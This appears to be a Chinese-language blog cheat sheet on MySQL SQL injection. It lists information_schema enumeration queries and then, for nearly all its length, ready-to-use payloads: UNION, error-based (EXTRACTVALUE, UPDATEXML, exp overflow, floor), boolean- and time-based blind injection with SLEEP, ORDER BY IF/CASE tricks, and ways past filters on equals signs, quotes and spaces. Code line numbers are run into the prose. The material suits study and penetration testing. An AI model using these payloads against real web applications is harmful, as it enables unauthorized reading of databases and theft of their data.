一、常用查询语句 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 查询第一个数据库名 SELECT schema_name FROM information_schema.schemata limit 0 ,1 ;# 查询第二个数据库名 SELECT schema_name FROM information_schema.schemata limit 1 ,1 ;# 查询某个数据库下的所有表 SELECT table_name FROM information_schema.tables where table_schema= "dbname";# 查询某个表下的所有字段名 SELECT column_name FROM information_schema.columns where table_schema= "dbname" and table_name= "tbname";# 查询当前数据库 SELECT database();# 查询当前用户名 SELECT user ();# 查询当前数据版本 SELECT version();# 或 SELECT @@version ;
二、常见注入类型和手法 1.有回显注入-联合查询注入 1 2 3 4 5 6 # 按照第几个字段进行排序,当超出字段数会显示不存在这个字段 ORDER BY 3 ;# 针对于有查询回显的,可确定哪个字段内容回显在页面的哪个位置 1 UNION SELECT 1 ,2 ,3 ;# 若字段3 有回显位置,则在该位置输入查询语句 1 UNION SELECT 1 ,2 ,(SELECT database());
2.有回显注入-报错注入 1 2 3 4 5 6 7 8 9 10 # 存在SQL 注入的语句应类似于SELECT * FROM table_name where id= 1 # 数据类型溢出报错注入 1 AND SELECT (! x - ~ 0 ) FROM (SELECT (SELECT database())x)a;# 使用exp函数实现整数类型溢出报错注入 1 AND SELECT exp (~ (SELECT * FROM (SELECT database())a));# XPATH语法错误报错注入 长度小于32 位 1 AND SELECT EXTRACTVALUE('' , concat(0x3a ,(select database()),0x3a ));1 AND SELECT UPDATEXML('' , concat(0x3a ,(select database()),0x3a ),1 );# floor报错注入 1 AND SELECT count (* ),concat((select database()),'|' ,floor (rand(0 )* 2 )) as x FROM information_schema.tables group by x;
3.无回显注入-布尔盲注 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 布尔注入,判断当前数据库名称的第一个字符的ascii码是否大于100 1 AND ASCII(SUBSTR((SELECT database()),1 ,1 ))> 100 ;# 查询第二个字符的ascii码是否大于100 1 AND ASCII(SUBSTR((SELECT database()),2 ,1 ))> 100 ;# order by if 注入(需要知道字段名称),根据前面条件的true 或false ,数据排序不同 ORDER BY IF(1 = 2 ,id,username);# order by if 注入(不需要知道字段名称),当前面条件为true 时,页面显示正常,前面条件为false 时,页面显示不正常 ORDER BY IF(1 = 2 ,1 ,(SELECT id FROM information_schema.tables));# order by case when 注入(需要知道字段名称),根据前面条件的true 或false ,数据排序不同 ORDER BY CASE WHEN 1 = 1 THEN id ELSE username END ;# order by case when 注入(不需要知道字段名称) 前面条件为true 时,页面显示正常,前面条件为false 时,页面显示不正常 ORDER BY CASE WHEN 1 = 2 THEN 1 ELSE (SELECT id from information_schema.tables);# 有时候页面没有变化时,采用报错使页面异常,使其true 时页面正常,fasle页面异常 1 AND IF(1 = 1 ,1 ,exp (1000 ))# 或者用CASE WHEN 1 AND (CASE WHEN 1 = 1 THEN 1 ELSE exp (1000 ) END )
4.无回显注入-时间盲注 与布尔注入语句一致,只需加上sleep
函数即可
1 2 3 4 5 6 7 8 # sleep延时注入,当条件为true 时,延时3 s 1 AND IF(1 = 1 ,SLEEP(3 ),1 );# order by if 注入(不需要知道字段名称) 也可以结合sleep,前面条件为true 时,延时3 s ORDER BY IF(1 = 1 ,SLEEP(3 ),1 );# order by case when 注入(不需要知道字段名称) ORDER BY CASE WHEN 1 = 1 THEN SLEEP(3 ) END ;
三、常见绕过 1.等号 使用like
语句进行绕过:
1 2 3 4 5 6 7 8 9 10 # 获取当前数据库长度,当`_`的个数等于当前数据库长度时,该条件语句为`true ` (select database()) like '_____' ; # 获取当前数据库第一个字符 substr((select database()),1 ,1 ) like 's' ; # 或 (select database()) like 's%' # 获取当前数据库前两个字符 substr((select database()),1 ,2 ) like 'se' # 或 (select database()) like 'se%'
还有其他类似于in
、regexp
、regexp_like()
等等就不一一举例了。
2.单引号或双引号 当单引号或双引号被过滤时,在整数型注入的前提下(需要使用单引号或双引号必合的SQL语句除了宽字节注入外,我暂时也想不到有其他什么方法),可使用concat
、concat_ws
之类的函数进行替代。
1 2 3 4 5 6 7 # 判断当前数据库的第一个字符为s,转ascii为115 substr((select database()),1 ,1 ) like concat(char (115 )); # 判断当前数据库的前两个字符为se substr((select database()),1 ,2 ) like concat(char (115 ),char (101 )); # 也可以使用16 进制进行绕过 substr((select database()),1 ,2 ) like 0x7365 ; # 还可以通过其他的编码函数进行替代
3.空格绕过 1 2 3 # 使用多行注释符代替空格 substr((select database()),1 ,1 )like concat(char (115 )); # 使用其他不可见字符,例如% 0 a,% 0 b等等,其中% 0 a实际上是换行,在http数据包可以使用url编码进行替代,这就不做演示
其他更多绕过之后会单独写篇文章,本篇主要总结常用的SQL语句